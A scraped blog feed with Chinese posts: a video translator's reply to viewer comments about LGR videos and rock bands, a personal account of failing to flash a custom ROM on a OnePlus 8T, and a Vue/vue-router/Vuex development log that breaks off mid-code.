过年了,给大家回复弹幕,然后瞎扯两句\"/\u003e\u003cp\u003e一般我会在评论区给大家回复交流,但是弹幕就没法给大家回复了,因此,趁今天过年,我给大家统一回复一下,顺便瞎扯两句。\u003cbr/\u003e\n在此之前,首先,感谢大家在弹幕中对我字幕中的错误做出指正。其次,感谢在弹幕中分享知识的人。\u003c/p\u003e\n\u003ch2 id=\"第一个老先生的本性释放时间建议自行震撼\"\u003e第一个:老先生的本性释放时间(建议自行震撼)\u003c/h2\u003e\n\u003cp\u003e【熟肉】震惊,Robert Fripp居然弹起了齐柏林飞艇\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDiment@Bilibili: 可怜又无助的Fripp……\u003cbr/\u003e\n回复: Fripp:我的媳妇,我管不住啊!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e说到Fripp的释放本性,你们可以听听Island专辑中的Ladies on the Road。先不说大色狼Peter Sinfield写的歌词,先是开头Fripp的吉他滑音,就让我觉得这首歌绝对不是什么正经歌曲。后来唱歌的时候,Fripp的吉他也是被迫地极尽调戏本性。辛亏后来Mel Collins的吹奏乐器给Fripp救了场,要不Fripp演半截就要走人了,歌曲的后半部分我很难听到吉他的声音了。\u003cbr/\u003e\n不过说真的,如果你们喜欢King Crimson的话,你们可以 @南方History,他上传了很多关于King Crimson的视频,还有一个专业乐评。\u003c/p\u003e\n\u003ch2 id=\"第二个某个疯子花了一个小时装了一台废铁这是我爸说的\"\u003e第二个:某个疯子花了一个小时装了一台废铁(这是我爸说的)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR - 攒一台486 DOS电脑!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e原字幕:And since ever the dawn of time, in fact, I think those 2032s predate humanity.\u003cbr/\u003e\n这里大概就是开玩笑说CR2032这玩意存在很久了甚至在史前没有人类的时候就出现了hhhhhhh\u003cbr/\u003e\n回复:谢谢 whc2001 的注解,其实LGR的视频很多话我都不太明白,而且他的语速还贼快。\u003c/p\u003e\n\u003cp\u003e原字幕:“Have you seen these faces?” My God.\u003cbr/\u003e\n翻译为:“你见过他们吗?” 这波吟唱lttstore.com\u003cbr/\u003e\n@Linus Tech Tips\u003cbr/\u003e\n回复:Linus没有给我广告费。另外,我觉得自从疫情以来,LTT有点不太好过。现在LTT必须有一段请求关注和周边广告,而且有些赞助视频质量不太好(不包括 活 笑 料 )\u003cbr/\u003e\n回顾:现在的LTT,还是安东尼好。\u003c/p\u003e\n\u003cp\u003e那时候还没有通道这个概念随便插的嘛?\u003cbr/\u003e\n我上网查了一下,这个应该是EDO内存,而通道内存的概念得DDR出现了吧,那都1998年了吧。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e这个视频我喜欢的地方是后面调试软件的部分,可是我查看后台发现大家更喜欢前面的动手部分,我可能折腾软件太多了吧(毕竟我不是飘哥,他从小学开始就玩硬件)。\u003cbr/\u003e\n另外,这个是Bilibili上第二个,也是第一个被广泛关注的LGR视频(第一个是BV1Js411v7o1,讲的是MO磁光盘)。第一个熟肉LGR视频是由蟒人摸象翻译的,而播放量最多的LGR熟肉是由初生之鸟翻译的。\u003cbr/\u003e\n我是在高二暑假时看到了很多这样的视频,我第一个关注的是David Murray。(有意思的是,前The8-BitGuy授权翻译HikariCalyx,能解锁诺基亚),然而我是在高考完之后才开始翻译视频的。而这个视频也大幅提高了我的关注度,某科学的小姚同志和pingatsky等搬运工也邀请我加入了翻译工大家庭,从此走上了翻译视频的不归路:-)所以,感谢这个平台和所有帮助我,关注并支持我的人吧。\u003c/p\u003e\n\u003ch2 id=\"第三个john-carmark-yyds因为他开放了doom源代码\"\u003e第三个:John Carmark yyds(因为他开放了DOOM源代码)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR游戏评测 - 就算过了几十年,《毁灭战士》还是好游戏!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e1.最简单难度:我这么年轻就想死(I’m too young to die)\u003cbr/\u003e\n2.不要太嚣张了(Not too Rough)\u003cbr/\u003e\n3.痛打我吧!(Hurt me Plenty)\u003cbr/\u003e\n4.终极暴力(Ultra-Violence)\u003cbr/\u003e\n5.噩梦模式(Nightmare)\u003cbr/\u003e\n感谢工程师NopeNope 提供的翻译。我觉得最简单难度那里有个问号吧。\u003c/p\u003e\n\u003cp\u003e1.深入尸堆(Knee-Deep in the Dead)\u003cbr/\u003e\n2.地狱之海(The Shores of Hell)\u003cbr/\u003e\n3.炼狱的试炼(Inferno)\u003cbr/\u003e\n同理,感谢提供翻译的人。实际上我玩的时候,没有注意这些。电子游戏的剧情真的就是爱情动作片呗(John Carmark因此开除了Tom Hall)。\u003c/p\u003e\n\u003cp\u003e勘误:Unreal和Thief都是该时代相对先进的第一人称游戏\u003cbr/\u003e\n感谢今哥的野望的勘误。Unreal在1990年由育碧发行,而Thief是1981年发行的街机游戏。详询可以Bing一下。\u003cbr/\u003e\n回顾:Unreal是虚幻啊,我当时在想什么……\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e毁灭战士绝对是一个好游戏,我玩的十分上劲。而这个视频也是我的得意之作,因为这个视频的梗我玩的十分的溜(不是),因为当时我看经典名著电视剧比较多(没错,我在高考后才开始看)。顺便说一句,我到现在为止仍然很不喜欢《红楼梦》,不过里面的贾母让我想到了我的奶奶,都是十分疼爱孙子的。\u003cbr/\u003e\n实际上现在有很多游戏的画质更好,但我觉得有些游戏真正吸引我的是玩法的复杂多样和音乐的经典。这个游戏的玩法说简单,就是WASD(不是原版,是GZDOOM),说复杂,就有平移跳跃之类,而在这方面我基本不懂,而且我也是手残党。\u003cbr/\u003e\n而在音乐方面,就是Bobby Prince编写的重金属配乐。节奏感和旋律性十分强,有些配乐我也十分喜欢(诸如DOOM二代中的《DOOM》)。作为King Crimson的乐迷,我建议大家去听听《Starless》和E1M8的配乐:-)\u003c/p\u003e\n\u003ch2 id=\"第四个没事你用什么机架8bitguy的痛恨\"\u003e第四个:没事你用什么机架(8BitGuy的痛恨)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR - 组建一个更大,更好的MIDI机架山\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e原来是提供了很多专业设备名称,我懒得截图了……\u003cbr/\u003e\n捕捉到大神 @我的同桌是初音\u003c/p\u003e\n\u003cp\u003e颜文字狂魔up(当时我的字幕随着音乐出现了Maggie Simpson的字符画)\u003cbr/\u003e\n要不然这么长的音乐你就光看着没劲的电脑屏幕。顺便说一句,这叫ASCII艺术。而这个是我的女神Maggie(因为她太可爱了)\u003c/p\u003e\n\u003cp\u003efedora forever(当时我的字幕随着音乐出现了一直牛说’Use Arch Linux at archlinux.org:-)\u0026#39;)\u003cbr/\u003e\nFedora我用过一段时间,确实软件包很新,软件更迭很快。但是Arch可以私人定制,所以我觉得还是Arch好(我是不会用gentoo的,没时间编译内核)。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本期视频我认为体现出LGR视频的一些特点。首先是口语的泛滥,他说话经常出现连词,因思想跟不上而出现的停顿(也许我搬运的视频都倾向于这些吧)。其次是内容,LGR的视频在专业的地方,确实是在认真地给大家讲;提前准备好的部分也能很好地把握时间;不过一到动手体验部分,就有点vblog的感觉了(尤其是上期讲SD卡相机)。这就导致LGR的视频在某种意义上,十分地长,我翻译也是越来越烦。那期线上淘二手我直接上机翻,结束噩梦了。\u003cbr/\u003e\n回顾:LGR的视频已经越来越长,早期视频更好受些。他废话能少些吗?!\u003cbr/\u003e\n说到机翻,我发现有人在Bilibili上传LGR的机翻视频,还有4K噱头,差点将一个刚翻译视频的给劝退了。我又想到了8bitGuy的空降正义,结果因为机翻太差,人民群众将原搬运工给叫了回来。对于这种现象,我是十分厌恶的。你这么做,这既是对原作者的不尊重,也是对我们翻译工的不尊重。原作者制作视频,是为了传播知识,而我们翻译视频,也是出于这样的目的。\u003c/p\u003e\n\u003ch2 id=\"第五个一个十分遗憾的乐队建议亲自观看体会\"\u003e第五个:一个十分遗憾的乐队(建议亲自观看体会)\u003c/h2\u003e\n\u003cp\u003e【熟肉】论低情商如何害了Deep Purple\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e人事问题不仅仅是情商的问题。\u003cbr/\u003e\n回复:确实是这样。人事问题还跟利益关系,个人性格等有关。Blackmore和Gillan在音乐方向上就不同,再加上两个人都很强势,这些是Mk2解散的根本原因。而低情商主要在于Blackmore将Glover给赶出去,Blackmore不喜欢Gillan,就拿他介绍过来的Glover撒气。实际上Glover不仅会弹Bass,而且会设计(他参与了Machine Head和Who Do We Think We Are!的封面,内页设计),会制作音乐,他的离去对于Deep Purple来说,绝对是一个打击。我觉得那个纪录片最重要的地方就是这个了,其他的诸如组队,录制洗脑神曲方面我觉得倒不重要。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e说到听音乐,我首先是从娘胎里开始听加州旅馆(还是1994地球厅那版,可惜CD让我给划了:-P)。到了初中我开始听张学友等经典音乐,因为网易云推荐(然后我天天在班里唱“吻鳖”)。到了高中,我开始知道了Pink Floyd,我最开始的那两个视频就是这个。然后是重金属三大头,Yes,King Crimson,Mike Oldfield,Genesis等前卫摇滚,进而是Metallica的前卫金属时期(The Call of Ktulu真是洗脑得不得了)\u003c/p\u003e\n\u003ch2 id=\"总结\"\u003e总结:\u003c/h2\u003e\n\u003cp\u003e还有好多想说的,不过我都在评论区里说完了,加上时间不早了,所以基本就是这些了。如果大家有啥想说的,留个言呗;如果大家喜欢的话,转发一下呗。祝大家新春快乐:-)\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/reading-reviews.html"},{"title":"我的一加8T刷机失败记录","time":"2021-02-03T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\" alt=\"Featured image of post 我的一加8T刷机失败记录\"/\u003e\u003cp\u003e注意:本文不是详细教程,只是我的痛苦体验罢了,文章末尾我会给链接的。\u003c/p\u003e\n\u003cp\u003e最近我的 Nokia(HMD) 7 Plus 的充电口彻底没有办法充电了,所以我妈给我买了一台一加8T:-)\u003c/p\u003e\n\u003cp\u003e到手的第一件事嘛……一定是解锁呀。辛亏一加的解锁是相当容易的,开发者模式中开启“OEM 解锁”,然后 adb reboot bootloader 进入fastboot,再运行 fastboot oem unlock,手机上音量加减选择解锁,电源键选择即可。\u003c/p\u003e\n\u003cp\u003e然后我没想到的部分还是来了,鉴于本手机刚刚发布,很多第三方系统还没有完全适配。我最想用的Lineage没有官方,而crDroid是Beta品质,这都是我后来才发现的:-P\u003c/p\u003e\n\u003cp\u003e不过官方论坛上有教程,那自然是得一顿操作啦。可惜呢……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\" loading=\"lazy\" alt=\"这个是我在Windows下的第二次失败,第一次是在Linux下的\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是我在Windows下的第二次失败,第一次是在Linux下的\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e开始是Linux系统下失败,然而在Windows下也失败了。我暂且认为是开发者用的是256G的,可我的是128G的原因吧。\u003c/p\u003e\n\u003cp\u003e无论如何,我必须得救砖了。然而救砖软件是Windows独占,我就启动了该死的Windows虚拟机,手机完全关机并同时按住上下键,映射到虚拟机(设备名字开头是高通啥的)。结果报错,自动检测DDR失败。我想是因为虚拟机映射有问题,所以我直接重装了该死的Windows(我上期翻译的视频字幕文件没了,其他的因为备份了,还在)来救砖。有一次电脑不认,我按住了上下键和电源键来强制开机。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/oSlVrIB4PWghOYt.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/oSlVrIB4PWghOYt.png\" loading=\"lazy\" alt=\"注意红箭头指示的地方,一定先要选上!否则救砖失败,手机变成假砖\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e注意红箭头指示的地方,一定先要选上!否则救砖失败,手机变成假砖\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e救砖成功了,我又在Windows下尝试了好几遍fastboot,全部失败:-P 我看等成熟的卡刷可以实现的时候再说吧。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/failure-on-flash-oneplus-8t.html"}]},{"name":"神社的储物间","email":"","uri":"https://xeonds.github.io/","description":"*节操消失了*","article":[{"title":"Web开发日志-Vue篇","time":"2023-07-17T11:24:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Vue\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vue\" class=\"headerlink\" title=\"Vue\"\u003e\u003c/a\u003eVue\u003c/h2\u003e\u003ch3 id=\"关于Slot\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E5%85%B3%E4%BA%8ESlot\" class=\"headerlink\" title=\"关于Slot\"\u003e\u003c/a\u003e关于Slot\u003c/h3\u003e\u003cp\u003eSlot,即“插槽”,是Vue的一个很重要的功能。通过插槽,可以将其他的组件“插入”到当前组件的某个槽位。这个机制的优点,就是在保留了子组件的控制的同时,也给父组件保留了一定的内容控制权。比如elementUI,它的很多功能都提供了slot来让我们插入自定义的内容。\u003c/p\u003e\u003ch4 id=\"用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"用法\"\u003e\u003c/a\u003e用法\u003c/h4\u003e\u003cp\u003e它的用法很简单,分两部分。\u003c/p\u003e\u003col\u003e\u003cli\u003e组件\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;slot name=\u0026#34;component-a\u0026#34; :param1=\u0026#34;123\u0026#34;\u0026gt;\u0026lt;/slot\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e父组件\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;Component\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;template #component-a=\u0026#34;{ param_1 }\u0026#34;\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{{ param_1 }}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/Component\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面是完整示例,一个\u003cstrong\u003e具名\u003c/strong\u003e的\u003cstrong\u003e作用域\u003c/strong\u003e插槽。它将子组件的一个参数\u003ccode\u003eparam1\u003c/code\u003e通过解构赋值,回传到了父组件的形参\u003ccode\u003eparam_1\u003c/code\u003e中,并在其中渲染出了它的值。同时,父组件将这部分template中的内容传入了子组件中,和子组件的其他部分内容一同渲染。\u003c/p\u003e\u003ch2 id=\"Vue-router\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vue-router\" class=\"headerlink\" title=\"Vue-router\"\u003e\u003c/a\u003eVue-router\u003c/h2\u003e\u003ch3 id=\"历史模式的问题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E5%8E%86%E5%8F%B2%E6%A8%A1%E5%BC%8F%E7%9A%84%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"历史模式的问题\"\u003e\u003c/a\u003e历史模式的问题\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eVue-router\u003c/code\u003e支持多种历史模式。现在较为常用的一种就是\u003ccode\u003eHTML5\u003c/code\u003e模式。该模式下,浏览器显示的链接和正常的url一致,非常漂亮。但是需要后端路由的配置,否则会出现刷新页面出现404的问题。\u003c/p\u003e\u003cp\u003e除了\u003ccode\u003eHTML5\u003c/code\u003e模式,还有一种历史模式,叫做\u003ccode\u003ehash\u003c/code\u003e模式。它会在url中添加一个\u003ccode\u003e#\u003c/code\u003e来解决这个问题:\u003ccode\u003e#\u003c/code\u003e后面的部分在刷新时不会被后端认为是任何后端路由,因此也就不存在刷新后出现404的问题。\u003c/p\u003e\u003cp\u003e这一部分的配置在\u003ccode\u003ecreateRouter()\u003c/code\u003e的参数中进行配置:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e { createRouter, createWebHashHistory, createWebHistory } \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;vue-router\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecreateRouter\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// hash模式,无需后端配置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ehistory\u003c/span\u003e: \u003cspan class=\"title function_\"\u003ecreateWebHashHistory\u003c/span\u003e(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// html5模式,需要后端配置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ehistory\u003c/span\u003e: \u003cspan class=\"title function_\"\u003ecreateWebHistory\u003c/span\u003e(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eroutes\u003c/span\u003e: [ ... ]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e});\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"Vuex\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vuex\" class=\"headerlink\" title=\"Vuex\"\u003e\u003c/a\u003eVuex\u003c/h2\u003e\u003cp\u003e这是Vue官方出的状态管理插件。它用来管理整个单页程序的所有数据。\u003c/p\u003e\u003ch3 id=\"项目架构\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E9%A1%B9%E7%9B%AE%E6%9E%B6%E6%9E%84\" class=\"headerlink\" title=\"项目架构\"\u003e\u003c/a\u003e项目架构\u003c/h3\u003e\u003cp\u003e使用Vuex时,最佳实践一般是使用模块来组织各个部分的数据。假设我们的项目的store目录结构如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e- store\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - modules\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module1.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module2.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module3.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - index.js\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那么,我们可以在每个模块中这么定义数据:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e auth = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003estate\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003etoken\u003c/span\u003e: \u003cspan class=\"literal\"\u003enull\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003emutations\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003eSET_TOKEN\u003c/span\u003e(\u003cspan class=\"params\"\u003estate, token\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e state.\u003cspan class=\"property\"\u003etoken\u003c/span\u003e = token;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eactions\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003esetToken\u003c/span\u003e(\u003cspan class=\"params\"\u003e{ commit }, token\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003ecommit\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SET_TOKEN\u0026#34;\u003c/span\u003e, token);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003egetters\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003egetToken\u003c/span\u003e(\u003cspan class=\"params\"\u003estate\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e state.\u003cspan class=\"property\"\u003etoken\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan 